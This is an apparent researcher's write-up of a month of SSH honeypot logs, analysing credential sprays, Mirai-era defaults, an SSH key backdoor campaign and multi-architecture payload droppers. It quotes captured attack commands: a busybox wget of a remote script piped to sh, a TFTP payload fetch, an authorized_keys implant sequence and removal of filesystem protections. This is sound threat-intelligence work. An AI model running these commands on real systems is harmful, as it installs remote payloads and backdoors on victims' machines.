31 Days Inside a Public SSH Honeypot: 1.25 Million Events, Multi-Architecture Malware, and What Automated Attackers Actually Do

In August 2026 I deployed a Cowrie SSH honeypot on a bare-metal VPS in Helsinki, finished setting up the feed API, and left it running. No announcement, no obfuscation - just a realistic Ubuntu 22.04 fingerprint with port 22 open to the internet. By September 11 it had logged 1,251,496 events across 134,060 sessions from thousands of unique IPs. This article is built from the raw Cowrie JSON logs, not the API aggregates. Every number here comes from analysing the full dataset directly.

The most unexpected finding: five coordinated IPs whose username lists included syscfg and feed - this server's own identity. Those two names appear nowhere else in 1.25 million events. Someone found the site, traced it to the VPS, and added it to a target list.

//Deployment

Cowrie runs on a Hetzner VPS in Helsinki with port 22 exposed directly. It emulates a realistic Bash shell, accepts all credentials, records every command, and captures file download attempts. A Flask API aggregates the logs for the live dashboard at syscfg.sh/live. The dataset covers August 12 to September 11, 2026 - 31 days of logs.

Within weeks of going live, CERT-Bund (the German federal cybersecurity authority) sent an automated abuse notification flagging port 23 open on the VPS. Their scanners had swept the address space, found Cowrie's Telnet listener, and auto-notified Hetzner as the ASN holder. The honeypot had been reported to a government agency before it had been running a month.

//Scale

1,251,496 total events. 134,060 sessions. 112,958 successful authentications (Cowrie accepts everything). 283,704 commands executed. 3,369 file downloads captured.

Daily volume is highly variable. The quietest day (Aug 28) logged 1,290 sessions. The busiest (Sept 3) logged 10,638 - an 8x spike with no obvious external trigger, consistent with a large scanning campaign sweeping the address space. The last two days before this writing (Sept 9-10) are both over 7,300 sessions, suggesting a new campaign currently in progress.

//This Server's Own Name in Someone's Username List

The most interesting finding in the dataset is not a high-volume campaign. It is that two usernames specific to this server - syscfg (the site handle) and feed (the feed API subdomain) - appear in the username lists of five source addresses, and nowhere else in 1,251,496 events.

Those five addresses account for 1,976 login attempts between 13 August and 10 September, each cycling the same three usernames:

172.94.9.55 - 466 attempts (157 syscfg, 157 feed, 152 root)
213.177.179.62 - 466 attempts (157 syscfg, 157 feed, 152 root)
213.177.179.91 - 438 attempts (157 syscfg, 157 feed, 124 root)
213.209.159.142 - 424 attempts (156 syscfg, 156 feed, 112 root)
213.177.179.80 - 182 attempts (45 syscfg, 45 feed, 92 root)

Three of the five sit in 213.177.179.0/24. They did not run together: each address fired a single burst on a single day and never returned, spread from 13 August to 10 September. That, plus the near-identical per-username counts, points to one recurring job rotating its source address rather than five independent actors. The timing, the deliberate sub-0.12-per-second pacing and the shared hosting provider are analysed separately in the follow-up on this campaign.

The password list, however, is not targeted at all. Each username was tried against the same 147-password set, and it is a standard top-list: 000000, 123456, qwerty, letmein, football, starwars, trustno1, qwertyuiop, zaq12wsx. Exactly six entries are derived from the username (syscfg, syscfg!, syscfg123, syscfg123!, syscfg@, syscfg@123, and the same six for feed), and username-as-password mutation is a default rule in Hydra and Medusa rather than evidence of hand-crafted intent.

So the reconnaissance was targeted and the credential attack was not. Somebody read the site, derived two account names from it, appended them to an off-the-shelf username list, and pointed commodity tooling at the VPS. That is a lower bar than a bespoke attack, and it is still the only evidence in the corpus of an attacker who had looked at syscfg.sh before connecting.

//Credential Analysis

Usernames

root dominates at 55,675 attempts - roughly 5x the next entry. admin follows at 10,698. Then something unexpected: solana (1,899 from 34 IPs), solv (1,287 from 4 IPs), and sol (4,260 from 57 IPs). Crypto-related usernames appear throughout - eth (212 attempts), bitcoin (159), btc (22), wallet (29). This is a distinct campaign targeting Solana validator nodes and crypto infrastructure that runs on Linux servers with SSH exposed.

Other notable entries: enable\x00 (2,553 attempts) - a null-byte terminated string sent by tools targeting Cisco IOS and embedded devices. ubuntu (2,304) targeting AWS and DigitalOcean defaults. postgres (510), deploy (843), ts3 (454 - TeamSpeak server accounts). The username list is a map of what the internet runs.

Passwords

123456 leads at 6,374 attempts. admin follows at 5,605. Then the Mirai IoT credential signatures: xc3511 (2,943) and vizxv (2,691) - factory defaults for Xiongmai IP cameras, core to the original 2016 Mirai botnet. xmhdipc (1,458), juantech (1,445), anko (1,181) - all Mirai-era device credentials. The tooling being used against this server in 2026 is drawing from the same credential list that powered the 2016 Dyn DDoS attack.

Empty passwords (2,532 attempts) and the linuxshell\x00 null-byte pair (2,552) round out the top entries. 2,532 attempts with a blank password indicates targeting of misconfigured systems or devices that ship with empty root passwords.

Top Credential Combos

The highest-volume specific pair is root:xc3511 at 2,943 - pure Mirai IoT credential reuse. admin:admin at 2,904 is generic infrastructure spray. root:vizxv at 2,691 is another Mirai signature. The enable\x00:linuxshell\x00 pair at 2,552 is Cisco IOS targeted. support:support at 1,653 targets vendor management accounts.

//Command Analysis

The uname Campaign

The single most common command in the entire dataset is uname -s -v -n -r -m, executed 50,045 times. A variant with an obfuscated path (/bin/./uname -s -v -n -r -m) adds another 6,690. This specific flag combination - not the common uname -a - is a scanner signature for target architecture fingerprinting. The output (kernel name, version, hostname, release, machine type) is logged and used to select the appropriate architecture-specific payload for follow-up deployment. It appears as the first or only command in thousands of sessions, often from the same IP across multiple connections.

Router and Embedded Device Probes

The next five most common commands - system (38,852), shell (38,822), sh (38,776), enable (36,585), linuxshell (34,981) - are Cisco IOS and embedded device command sequences. On a standard Linux system these either error or drop to a shell. On certain Cisco devices, Huawei routers, and BusyBox-based firmware they are meaningful. The same automated tooling is sweeping all of server infrastructure, routing infrastructure, and IoT devices with no target discrimination.

BusyBox / Mirai Signatures

/bin/busybox appears 3,573 times, with three distinct variant signatures: /bin/busybox UNSTABLE (3,399), /bin/busybox STC (1,067), and /bin/busybox ECCHI (378). These strings are the process-rename identifiers used by different Mirai builds - each variant renames itself to a custom string after execution to disguise its presence in process listings. Three distinct Mirai lineages are active against this node simultaneously, from 74 unique source IPs with 5,122 total commands between them.

SSH Key Replacement

644 sessions ran SSH key replacement commands. The pattern is consistent across all of them:

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAB..." >> .ssh/authorized_keys

Five distinct RSA public keys appear across these 644 sessions, from 514 distinct source IPs in total, but one key dominates: AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4... was implanted 632 times from 511 distinct source IPs. The remaining four keys account for 12 events between them. This is a coordinated botnet operation - every compromised host adds the same backdoor public key, giving the operator persistent root access across all victims without needing credentials. 511 different IPs sharing one public key means 511 already-compromised machines all working for the same actor.

The delivery is mechanically identical every time. All 632 implants used one byte-for-byte identical command string - cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa ...">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ - with zero variation across 511 source addresses and 30 days. Median time from TCP connect to implant was 2.13 seconds (minimum 0.10s, maximum 13.13s): no human is in this loop.

The chattr Sequence

632 sessions ran: cd ~; chattr -ia .ssh; lockr -ia .ssh. The chattr -ia command removes the immutable and append-only filesystem attributes from the .ssh directory - a protection some hardened deployments apply to prevent exactly this kind of authorized_keys modification. Attackers are explicitly stripping filesystem-level protections before key implantation. This precedes the key replacement in the same sessions.

Cleanup and Anti-Forensics

347 sessions ran rm /dev/.t; rm /dev/.sh; rm /dev/.human - cleanup of a specific toolset that drops files to /dev/ using hidden names. The use of /dev/ as a staging directory is an evasion technique: many monitoring tools and backup systems ignore device directories, making it a less-scrutinised location than /tmp. The specific filenames (.t, .sh, .human) are consistent enough to be a campaign signature.

//Campaign Analysis

twget.sh - The Largest Payload Campaign

The highest-volume download campaign serves twget.sh from 2.26.136.128, with 935 download events across 1,021 sessions from 53 source IPs. The full command sequence from a captured session shows the complete kill chain: the session opens with Cisco probe commands (sh, shell, enable, system), then ping; sh to test shell execution, then BusyBox identification (/bin/busybox STC), then the payload delivery:

/bin/busybox wget http://2.26.136.128/twget.sh -O- | sh
/bin/busybox tftp 2.26.136.128 -g -r tftp.sh -l tftp.sh

The dual-protocol approach - HTTP wget and TFTP as fallback - is designed to work on devices where only one protocol is available. TFTP is commonly enabled on embedded devices and older network equipment where a full HTTP stack may not be present.

Daredevil - Named Multi-Architecture Campaign

The Daredevil campaign operates from the 176.65.139.0/24 range, with active infrastructure on .202, .196, and .228. It deploys named architecture-specific binaries: daredevil.x86_64, daredevil.armv7l, daredevil.armv6l, daredevil.armv5l, daredevil.armv4l, daredevil.mips, daredevil.mipsel, daredevil.arc, daredevil.i486. 233 downloads across 135 sessions. The same infrastructure also serves Exodus.sh from .228 on port 6677 - a separate payload under a different name from the same operator.

Nine architectures in a single campaign is consistent with Mirai-lineage botnet recruitment tooling. The named binaries (rather than generic filenames) suggest an operator who maintains their infrastructure with some degree of organisation.

ok Dropper - Recurring Brazilian Infrastructure

A script named ok from 5.182.210.174 (geolocated Brazil) appears 46 times across the download log. The same IP returns across multiple days, suggesting active campaign maintenance. Previously submitted VT samples from this address show 19-23/75 detections with behavioral tags: detect-debug-environment, sets-process-name, self-delete, service-scan. The variation in detection count across submissions of similar files indicates minor binary modifications between deployments to evade signature-based detection.

//Source IP and Scanner Infrastructure

The 92.204.138.0/24 Block

Six IPs from the 92.204.138.x range appear in the top 20 source IPs by total events: .191 (50,274), .142 (50,017), .198 (46,951), .58 (37,805), .44 (32,466), .51 (30,107). Combined these account for over 247,000 events - roughly 20% of all traffic. This is coordinated scanning infrastructure running across multiple hosts in the same /24, all using the same tooling. The block is registered to GoDaddy (US), almost certainly compromised or leased hosting.

SSH-2.0-Go - The Dominant Scanner Client

68,265 connections - 54% of all client version records - identify themselves as SSH-2.0-Go. This is the Go standard library SSH client string, used by mass scanning tools written in Go. It arrived from 733 unique IPs, making it the single most common scanning implementation in the dataset by a wide margin. The next entries - SSH-2.0-libssh_0.9.6 (1,767) and SSH-2.0-AsyncSSH_2.1.0 (1,731) - are order-of-magnitude smaller.

SSH-2.0-PuTTY_Release_0.84 appears 1,259 times. PuTTY is a Windows SSH client - its presence at this scale almost certainly reflects scripted use on Windows machines rather than humans manually connecting, since PuTTY 0.84 is a specific version that would not be the default on current Windows installations without deliberate installation. SSH-2.0-ZGrab ZGrab SSH Survey (111) and SSH-2.0-Nmap-SSH2-Hostkey (102) identify themselves as scanning tools explicitly.

One entry stands out: GET / HTTP/1.1 (95 occurrences). These are HTTP requests sent to an SSH port - scanning tooling that does not check the protocol before sending a request. The SSH daemon returns a protocol error; the scanner logs it and moves on.

//Observations

Crypto Infrastructure Is Actively Targeted

Over 7,600 authentication attempts across the dataset targeted crypto-related usernames - solana, solv, sol, eth, bitcoin, btc, wallet, crypto. This is not opportunistic. Solana validator nodes, Ethereum nodes, and crypto wallet servers run on Linux with SSH access, often with usernames matching the protocol or wallet name. A campaign specifically enumerating these usernames is looking for infrastructure worth targeting - either to steal keys and drain wallets, or to co-opt the compute resources.

Botnet Coordination Is Visible in the Logs

The single RSA public key implanted across 511 distinct source IPs is the clearest evidence in the dataset of coordinated botnet operation. Those 511 IPs are not independent actors - they are nodes in a compromised network all running the same playbook from the same operator. The diversity of source countries and ASNs for those IPs makes blocklist-based defense ineffective; the signal is the shared key, not the source address.

Reconnaissance Was Targeted; the Attack Was Commodity

syscfg and feed do not appear in any standard username wordlist, and in 1.25 million events only five addresses ever tried them. Someone read the site, worked out the VPS behind it, and added two site-derived account names to their list. The passwords they then tried were a generic 147-entry top-list, so the effort stopped at reconnaissance - this was commodity tooling aimed at a specifically chosen target, not a bespoke attack. It failed regardless: the real SSH service requires key authentication. It happened within weeks of the honeypot going live. Running a public-facing security research site is itself a targeting signal, even when the resulting attack is unsophisticated.

2016 Credentials Still Work in 2026

The Mirai credential list - xc3511, vizxv, xmhdipc, juantech, anko - is ten years old and still generating thousands of hits per month against a single honeypot. The IoT devices those credentials were extracted from are still deployed, still internet-accessible, still running factory defaults. The botnet recruitment tooling has not needed to update its credential list because the devices have not been updated either.